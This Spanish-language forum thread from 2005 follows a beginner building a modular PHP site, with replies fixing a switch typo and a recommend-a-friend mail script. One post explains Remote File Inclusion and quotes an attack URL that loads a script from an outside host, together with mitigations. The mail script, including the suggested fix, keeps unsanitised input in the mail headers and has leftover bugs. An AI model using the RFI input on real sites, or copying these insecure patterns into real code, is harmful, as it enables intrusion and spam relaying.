Páginas: [1]
|
 |
|
Autor
|
Tema: Duda sobre PHP (Leído 1311 veces)
|
craisa
Desconectado
Mensajes: 59
|
Hola Gente! Soy nuevo en este foro, ya lo habia visto antes pero se ve interesante, bueno quiero decirles que estoy aprendiendo PHP ya que mi colega y yo estamos haciendo una web en PHP pero tenemos unas dudas las cuales casi nadie nos ha podido explicar, aver si alguno de ustedes nos ayudan que sinceramente se lo agradeceriamos... Cual es la diferencia entre entrar a un sitio por ejemplo asi: http://www.dominio.com/PHP/unnombre.php?Abrir=PortadaSe supone que donde dice: PHP es una simple carpeta, pero no se que es lo que dice: unnombre.php Y no se cual es la diferencia entre esta forma de abrir el sitio web con esta otra: www.dominio.com/PHP/portada.phpAlguna manera es mas facil? Yo he estado pensando en hacer la web en PHP y que se abra asi: http://www.dominio.com/PHP/unnombre.php?Abrir=PortadaPero enrealidad no se que es unnombre.php y tampoco se como hacer una pagina asi...por ahi he visto algunos tutoriales donde se tiene que agregar lo siguiente al index del sitio. <?php swith($master) { case 'loquesea': include("nose.php"); break; case 'loqueseaa': include("casi.php"); break; default: include("principal.php"); } ?> Ya cree los archivos llamados: principal.php casi.php index.php y nose.php pero al subirlo a mi servidor el cual soporta PHP me dice que hay un error en la linea 39 del index.php Tambien vi que para agregar un link tendrias que poner algo asi: ?master=loquesea pero no entiendo como va todo esto... Alguien me podria decir cual es el error en el codigo PHP que mas adelante puse? tambien me podrian explicar para que sirve cada funcion? se los agradeceria mucho enserio...
|
|
|
|
|
En línea
|
|
|
|
-Riven-Ward-
RivenSoft
Desconectado
Mensajes: 2.219
Do you like Mario? xDDDDDDDDDDDD
|
Si me mostraras la líneas 38 y 39 de tu archivo podría ayudarte. Y si me muestras qué error es, mejor aún. Lo que tu dices se llama Web Modular, no es difícil de hacer. Hay un artículo muy bueno de eso en www.zonaphp.com, y encontrarás otros buenos también en este foro. Salu2! PD: Muevan esto a Dudas Webmasters...
|
|
|
|
|
En línea
|
Usuario Banneado
|
|
|
craisa
Desconectado
Mensajes: 59
|
Hola gracias por responder, pues el error es:
Parse error: parse error, unexpected T_CASE in path(esta es la ruta) index.php on line 39
Y la linea 39 en mi index php es:
case 'loquesea';
Aunque la verdad creo que igual me seguira mandando errores aun arreglando la linea 39
Otra cosa! queria saber o que me respondieran a mi pregunta que esta arriba? de que forma es mejor entrar a una web...
|
|
|
|
|
En línea
|
|
|
|
|
Azielito
|
y que tla si primero recojes el valor d ela varialbe a condicionar? <?php $master = $_GET['master']; swith($master) { case 'loquesea': include("nose.php"); break;
case 'loqueseaa': include("casi.php"); break;
default: include("principal.php");
} ?> muchas veces por eso marca esos errores ???
|
|
|
|
|
En línea
|
|
|
|
-Riven-Ward-
RivenSoft
Desconectado
Mensajes: 2.219
Do you like Mario? xDDDDDDDDDDDD
|
Naah, como te va a marcar error por no recojer una variable xDD. El error que tienes es que llamas mal a switch, pues pones "swith" (te faltó la C  ). Ponlo así: <?php $master = $_GET['master']; switch($master) { case 'loquesea': include("nose.php"); break;
case 'loqueseaa': include("casi.php"); break;
default: include("principal.php");
} ?> Salu2! Edito: Arreglado... Gracias Elank0, me estoy poniendo viejo... Estas cosas antes no me pasaban :'(
|
|
|
|
« Última modificación: 19 Julio 2005, 22:31 por -Riven-Ward- »
|
En línea
|
Usuario Banneado
|
|
|
eLank0
eLhAcKeR r00Lz
Desconectado
Mensajes: 893
|
No Riven.. switch($master) { salu2!
|
|
|
|
|
En línea
|
Antes de Postear, 
|
|
|
craisa
Desconectado
Mensajes: 59
|
Muchas gracias por sus comentarios, pero ahora quisiera saber cual es la diferencia entre usar Web Modular o una web normal en PHP? Y no se cual es la diferencia entre esta forma de abrir el sitio web con esta otra: www.dominio.com/PHP/portada.phpAlguna manera es mas facil? Yo he estado pensando en hacer la web en PHP y que se abra asi: http://www.dominio.com/PHP/unnombre.php?Abrir=PortadaTambien quisiera saber cual seria la manera mas segura de hacer un sitio en PHP? con web modular o que? otra cosa, que temas me recomiendan leer para aprender a hacer una web muy segura en PHP?
|
|
|
|
|
En línea
|
|
|
|
|
Thaorius
|
No se trata de como abrir la web. Los datos de ltipo ?abrir=principal, se usan mas que para abrir paginas para pasar informacion a los php, como por ejemplo: buscar.php?ResultadosMaximos=80&ResultadosPorPagina=20&PaginaAMostrar=2&MostrarDescripcionDeBusqueda=SI Respecto a la seguridad: http://foro.elhacker.net/index.php/topic,63190.0.html - Escrito por Riven Edito: Arreglado... Gracias Elank0, me estoy poniendo viejo... Estas cosas antes no me pasaban Cry Si vos tas viejo, que queda para mi que te llevo un año :'( :'( :'( :'( :'( :'( :'( :'( :'( :'( :'(...xD Saludos
|
|
|
|
|
En línea
|
|
|
|
craisa
Desconectado
Mensajes: 59
|
Hola Gente! Algo que me llamo la atencion fue el tema este: Creo que aquí tampoco sobra hablar sobre el conocido fallo de programación RFI (Remote File Inclusion): Pongo un ejemplo, una en la que se accede a las secciones con un include (index.php?destino=...):
Código: <? include($destino.'.php'); //podría ser también .htm, sin exension... ?>
Con ese código, cualquiera podría ejecutar un script en esa página, solo tendría que poner lo siguiente:
Código: index.php?destino=Http://web.com/script (el script tendría que tener, en este caso, extension .php) Y dependiendo de la seguridad de la web, con el script podría desde ver un listado de los archivos, hasta averiguar los datos para entrar en la base de datos... Para solucionarlo, hay muchas formas, entre otras, no usar includes con variables o poner en Off la propiedad allow_url_fopen en el archivo php.ini. Espero que sirva de algo esta aportación . Salu2.Yo pretendo hacer mi web asi: www.dominio.com/index.php/Abrir=Portadaen el index.php le puse lo siguiente para poner los enlaces: <? $Abrir = $_GET['Abrir']; switch($Abrir){ case "seccion1": // coloca el nombre de la variable ?sección=var include("nose.php"); // Se coloca el nombre de archivo de la sección break;
case "seccion2": // coloca el nombre de la variable ?sección=var include("casi.php"); // Se coloca el nombre de archivo de la sección break;
default: include("principal.php"); // cambia default_index.php por el archivo que estara donde se coloque el codigo sin poner ?sección=XXX break; } ?> Queria saber si esto que hare me podria afectar a mi? al momento de hacer la web en PHP usando Modular Web algo asi. Y si me afectara como podria correguir el bug? Por ahi lei que tenia que: Para solucionarlo, hay muchas formas, entre otras, no usar includes con variables o poner en Off la propiedad allow_url_fopen en el archivo php.ini.Aver si alguien me explica mejor la solucion, o donde esta el php.ini. ya que soy iniciado en esto. Gracias.
|
|
|
|
|
En línea
|
|
|
|
|
Thaorius
|
No te afecta. POrque tu l ounico que haces en eso code es decirle: Si la variable abrir es tal o cual cosa abra tal o cual pagina. En cambio, el otro le dice: Si la variable Destino es tal, habra tal. Esto proboca que se pueda llegar a ver el codigo fuiente de la pagina o a ejecutar e alguna manera un codigo malisioso destructivo.
Saludos
|
|
|
|
|
En línea
|
|
|
|
craisa
Desconectado
Mensajes: 59
|
Hola Muchas gracias por su respuesta, enserio me sirvio de mucho, pero aqui vengo con otras dudas sobre el PHP aver si me pueden ayudar. Hice un formulario en Dreamwevaer mx 2004 en PHP y ese formulario tiene que recomendar la pagina. Bueno encontre un script por la red en PHP que hacia esto. creaba un formulario y luego enviaba el formulario. Tengo dos archivos, uno llamado: recomendar.php cual contiene el formulario y tengo otro llamado: enviar.php el cual se encarga de enviar el formulario pero siempre me manda error aqui pongo el codigo del enviar.php y luego el error: <?php
//Direccion de tu web.
$web = "http://www.tuweb.com";
//Asunto del E-mail.
$asunto = "Sitio Recomendado";
//Mensaje que recibirá tu amigo.
$mensaje\n\n";
http://www.cyberArca.com"; //Recopilamos el mensaje.
$msg = "$mensaje";
//Comprobamos que los campos del formulario se encuentren completos.
if (empty($tunombre)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu Nombre.</b></font></p>"; } if (empty($tuemail)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu e-mail.</b></font></p>"; } if(empty($nombreamigo)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado el Nombre de tu amigo.</b></font></p>"; } if(empty($emailamigo)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado el e-mail de tu amigo.</b></font></p>"; } if(empty($mensaje)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu mensaje</b></font></p>"; }else{
//Limpiamos de posibles ataques.
$tunombre = htmlentities($tunombre); $tuemail = htmlentities($tuemail); $nombreamigo = htmlentities($nombreamigo); $mensaje = htmlentities($emailamigo);
//Enviamos el E-mail con todos los datos.
mail("$emailamigo", "$asunto", "$msg", "FROM: $tuemail");
//Damos las gracias al visitante por recomendarnos.
echo"<font face=tahoma size=2> <p align=center>Gracias <b>$nombre</b> por Recomendar a CyberArca.com.<br><br> <p align=center><br> <a href=$web>Regresar al inicio</a>.</p>"; } ?> Y lo unico que modifique en este script fue: //Mensaje que recibirá tu amigo. $mensaje\n\n"; Por cierto no se por que en el codigo que puse aqui sale asi: //Mensaje que recibirá tu amigo. $mensajenn"; Modifique el script por que le agrege un texarea al formulario y queria que envie un pequeno texto al momento de recomendar la pagina. Aqui el error: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in path//enviar.php on line 18 Parse error: parse error, unexpected T_STRING in path/enviar.php on line 18 Aqui la linea 18 del codigo: $mensaje\n\n"; Espero que me puedan ayudar hacer trabajar este script :'(
|
|
|
|
« Última modificación: 22 Julio 2005, 05:58 por craisa »
|
En línea
|
|
|
|
-Riven-Ward-
RivenSoft
Desconectado
Mensajes: 2.219
Do you like Mario? xDDDDDDDDDDDD
|
Esque pones dos cosas en cualquier parte... $mensajenn";
http://www.cyberArca.com"; Esas cosas están sueltas. No sé que querrías poner ahí, pero si no te sirve sácalo. Si te sirve, pones aquí para que es y arreglo el code  . Salu2!
|
|
|
|
|
En línea
|
Usuario Banneado
|
|
|
craisa
Desconectado
Mensajes: 59
|
Pues quiero hacer un formulario en PHP (ya lo hice) Con esto:
Tu Nombre: (espacio para el nombre) Tu E-mail: (espacio para email) Nombre de tu Amigo: (nombre de amigo) E-mail de tu Amigo: (email del amigo) Mensaje a tu amigo: (quiero que la persona que recomiende el sitio ponga un texto o mensaje ejemplo: Hola te recomiendo este sitio.
Eso es lo que quiero hacer, quiero que mi forumulario con las cosas que puse arriba funcione correctamente ???
|
|
|
|
|
En línea
|
|
|
|
-Riven-Ward-
RivenSoft
Desconectado
Mensajes: 2.219
Do you like Mario? xDDDDDDDDDDDD
|
Pruba así: <?php
//Direccion de tu web.
$web = "http://www.tuweb.com";
//Asunto del E-mail.
$asunto = "Sitio Recomendado";
//Mensaje que recibirá tu amigo. //Recopilamos el mensaje.
$msg = $_POST["mensaje"];
//Comprobamos que los campos del formulario se encuentren completos.
if (empty($tunombre)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu Nombre.</b></font></p>"; } if (empty($tuemail)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu e-mail.</b></font></p>"; } if(empty($nombreamigo)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado el Nombre de tu amigo.</b></font></p>"; } if(empty($emailamigo)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado el e-mail de tu amigo.</b></font></p>"; } if(empty($msg)){ echo "<p align=center><font face=tahoma size=2><b><font color=#FF0000>Error:</font> No has ingresado tu mensaje</b></font></p>"; }else{
//Limpiamos de posibles ataques.
$tunombre = htmlentities($tunombre); $tuemail = htmlentities($tuemail); $nombreamigo = htmlentities($nombreamigo); $mensaje = htmlentities($mensaje);
//Enviamos el E-mail con todos los datos.
mail("$emailamigo", "$asunto", "$msg", "FROM: $tuemail");
//Damos las gracias al visitante por recomendarnos.
echo"<font face=tahoma size=2> <p align=center>Gracias <b>$nombre</b> por Recomendar a CyberArca.com.<br><br> <p align=center><br> <a href=$web>Regresar al inicio</a>.</p>"; } ?> Salu2!
|
|
|
|
|
En línea
|
Usuario Banneado
|
|
|
|
Páginas: [1]
|
|
|
|